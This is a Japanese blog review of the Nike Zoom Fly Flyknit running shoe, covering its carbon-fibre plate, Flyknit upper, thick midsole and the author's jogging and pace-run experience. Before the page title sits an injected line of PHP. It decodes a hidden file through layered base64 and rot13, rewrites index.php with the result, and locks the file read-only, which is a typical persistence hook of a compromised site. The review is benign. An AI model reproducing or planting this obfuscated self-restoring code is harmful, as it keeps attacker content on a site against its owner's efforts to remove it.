$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } カーボンファイバープレートの効果は!?ナイキ ズーム フライ フライニット | TAKUTIVITY – タクティビティ

カーボンファイバープレートの効果は?ナイキ ズーム フライ フライニットのレビュー

ロードレース
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ナイキ ズーム フライ フライニットはナイキのレーシングシューズです。その特徴はなんといっても、あのヴェイパーフライ4%のカーボンファイバープレートと同じプレートが搭載されているモデルであること。今までレーシングシューズはアシックス一辺倒だった私ですが、試着した時の推進力に魅力を感じ購入しました。ズーム フライ フライニットはランニングシューズの購入金額としては決して安くありません。しっかりと使用感を確かめながらレースに向けて準備していきたいと思います。この記事ではそのズーム フライ フライニットのレビューをアップしています。

レビューの前に

このシューズに対して思うこと

このシューズをフルマラソンで使用することを前提として、他メーカーからの乗り換えを検討している方やビギナーランナーさんは結構慎重に検討したほうが良いと思います。あの大迫選手がヴェイパーフライ4%を履いて日本新を出した時、メディアはまるで魔法のシューズのように取り上げていました。それに搭載されているフルレングスカーボンプレートがズーム フライ フライニットにも搭載されています。しかし、同系統のシューズだからといってそんな魔法が起こるわけはありません。(もちろん、ヴェイパーフライ4%も魔法のランニングシューズではないと思います。)確かに反発力が高いとかクッション性が凄いとか機能的に素晴らしいポイントはいくつもあります。でも、当然実力以上のハイペースで走れば息が切れるし厚底レーシングシューズという日本人にはあまり馴染みのない形状にフォームを合わせる必要がある。そう言うのを踏まえてナイキの厚底シューズは向き不向きがあると考えています。

おススメできる人とできない人

それではどのような人におすすめできるシューズなのでしょうか。基本的に日本人は薄底のレーシングシューズの方が慣れていると思います。地面を自分の足の力で蹴り上げて粘り強く走っていく。日本人全般はそんな走り方が得意ですよね。このシューズをレーシング用途で使うには、慣れの期間が結構必要だと考えています。出来れば6ヶ月以上は欲しいところ。自分はレース本番の2ヶ月前にシューズを購入。数回使用して少し後悔の念すら覚えました。

ということで、私が考えるこのシューズをおススメできる人は次の通りです。

  • 履きこなすまでに十分な時間がある人
  • フォアフット走法が身についている人
  • ヒールストライク走法ではない人
  • サブ3.5を無理なく達成できる人

反対に、おススメできない人をリストアップしてみます。

  • レース本番まで6ヶ月を切っている人
  • シューズのスペックに可能性を感じまくっている人
  • 色々なランニングシューズを使用してみたい人
  • シューズにあまりお金をかけられない人

こんな感じです。最も重要なのは“履きこなすまでに十分な時間がある人”だと思います。少し触った感じでは難しいシューズだと思いました。いかにカーボンプレートを利用した走りができるかがポイント。しかしそれが結構難しいです。

反対にシューズのスペックに惹かれて購入を検討している方は、一度立ち止まって考えた方が良いと思います。実際素晴らしいスペックのレーシングシューズであるとは思いますが、このシューズを使ったからと言っていきなりタイムが上がる分けではないし、楽に走れるようになるわけでもありません。シューズのスペックに対するハードルが上がっている人は要注意です。

具体的な使用レビューは、この記事の後ろの方で書いていくつもりなので是非最後までご覧ください。

基本情報

  • 品名:ナイキ ズーム フライ フライニット
  • 品番:AR4561
  • 重量:235グラム(片足26.5センチの場合)
  • 価格:17,280円(税込)

私はこのシューズをスーパースポーツゼビオで購入しました。購入時期は2018年12月末頃。その時は定価で購入したのですが、後日楽天で見た時4000円ほど値下げされて売られていました。既に売り切れでしたがなんだか損した気分。やっぱ今の時代ECサイトも一度は検索しないとだめですね。。

厚底ということで重さを感じるかと思いましたが、さほどでもありませんでした。フラニットのおかげでしょうか。アシックスのライトレーサーをずっと使い続けてきた私ですが重さでいうとほぼ同等くらいに感じます。

構造

アッパー

素材

アッパーはフライニットというナイキ独自のニット素材。かなり軽量な素材でこれによりシューズ自体も軽量になります。ニットという特性上、左右にブレやすいです。長距離走ではこのブレに長時間耐えられるだけの筋力が必要であると考えられます。しかしこのフライニットってすごい技術。間近で見ると繊維が強力に絡み合いながらアッパーを形成しています。

シューレース

個人的には結構好きなシューレースかも。網目状になっていて結んだ時にほつれにくいです。ハトメもフライニットに直接通るように作られています。

ヒールカウンター

フライニットのヒールカウンターは、表面にはプレートなどが当てられていないので見た目ではわかりにくいですが、シューズ内側のかかと周辺にパッドのようなパーツが当てられています。

かかとの周囲で網目の方向が変化しています。そして、ちょうどアキレス腱のあたりにクッション材があります。

ソール

ミッドソール

最近話題の厚底ソールです。ミッドソールが分厚い構造。ずっとアシックスを履いてきたので、改めて見ると本当にサブ3向けのレーシングシューズとして使えるのか疑問でなりません。が、ナイキでもレーシングシューズとしてうたってるし、ゼビオでもサブ3.5〜サブ3向けのレーシングシューズとして販売されています。その厚さ約3センチ。

アウターソール

薄くもなく厚くもなくという感じ。すり減るのは速そうなのでコスパは悪そう。足裏部分は凹凸ではなく溝で構成されています。この構造で地面をしっかりと掴めるか不安でしたが全く問題ありませんでした。

黒いソールは白い部分に比べて固く耐久性がありそうです。中央部分に黒いソールは無くむしろ凹んでいます。前方は全体的が黒なので、やはりフォアフット走法での走りを想定したシューズなんでしょうかね。19/1/15 訂正:さらに使い込んだ結果フォアフットよりもミッドフットの方がシューズの反発を得られるかもしれないということに気付きました。

シャンク

シャンクらしきパーツはありません。カーボンファイバープレートが入っているからでしょうか。シャンクが無いのも軽量化に一役買っています。

カーボンファイバープレート

さて、これが本題。外見では見えませんがフルレングスカーボンファイバープレートが搭載されています。ナイキのサイトでも図で説明されていますが、ミッドソールの上の方に色が塗られています。ここら辺にカーボンファイバープレートが入っているようです。シャンクがないのはやはりこのカーボンプレートの恩恵でしょうね。ひねってみるとわかりますが、捻れに対する強度はかなりのものです。

シューズ試着時の感想

まず、1度このシューズを試着して「良いっ!」って思ったからといって即決するのはおすすめできません。お店で試着して店内を少し走った感覚と実際にロードを走った感覚は全くと言っていいほど違います。店員さんのアドバイスに踊らされないでください(←自分のこと笑)。色々調べた上で自分にとって有益かどうかを判断した方が良いと思いますよ!

クッション性

踵部分のクッション性がすごい。わざと踵で地面を踏むと沈み込むのがはっきりとわかります。むしろ沈み過ぎるのでレースでのヒールストライク走法には向かないと思います。ただ、LSDや普通のジョグなどゆっくり走るトレーニングには良いのではないでしょうか。足に優しい感じ。

反発力

カーボンプレートをうまく使えれば反発力をしっかりと感じます。足の付け根部分(内側足根小球)の使い方がポイントとなるような気がします。ミッドフットの辺りで着地をするとシューズからの反発を感じます。

推進力

フォアフットで小走りしたところ、かなりの推進力を感じました。やはりカーボンプレートのおかげでしょうか。着地してから踏み込むまでの間に勝手に足が前にでる感覚。

以上、ズーム フライ フライニットを購入して観察した際のレビューになります。

シューズの使用レビュー

ここからは、ズーム フライを履いて走ってみた感想をレビューとして書いていきたいと思います。何か追加の感想や訂正があれば随時更新していきますので、はてブやFeedlyに登録していただけると更新状況が追いやすいと思います!

ジョグで使用してみた

まずはジョグで使用してみました。クッション性を本当に感じます。前ページでも書きましたが沈みすぎるくらいです。足に優しいのでレース以外ではジョグやLSDにも使えそうです。

ペース走で使用してみた

このペース走での使用で難しさを感じました。とにかく疲れる。シューズが変わるだけでこんなに疲れるかってくらいすぐに息があがりました。私は1キロ4分20秒ほどのペースが心地良く走れるペースなのですが4分30秒ペースでも結構息があがってきました。着地の方法や足の抜け方、フォームなど研究していく必要がありそうです。

最適なフォームは?

今の段階で思うこととして、このシューズをうまく活用するにはフォームが本当に重要だと思いました。足の付け根辺りの反発を利用して、うまく足を抜いていく。そんな走り方をする必要があるなと。そのためには重心の位置を常に前に置くことを意識しておくと良いなと思います。とにかく胸を張って前に突き出し、少なくとも足の付け根の上には重心があるような感じです。

19/1/15 訂正:足の付け根よりも、ミッドフットの辺りで着地するとものすごい反発力を得られるようです。当初はフォアフット走法が良いかと思っていましたが、ミッドフット走法の方が適しているシューズかもしれません。上半身は胸を軽く張ると良いと思いますが無理のない体勢で大丈夫だと思います。この走り方でペース走に出かけたところ、1キロ3分半くらいのペースが出ていた区間があってびっくりしました。


こちらの記事で厚底シューズに関する持論をまとめています。是非、併せて読んでみてください!


コメント

  1. […] ナイキ ズーム フライフライニットのレビュー記事を書いています。是非こちらもご一緒に読んでみてください! […]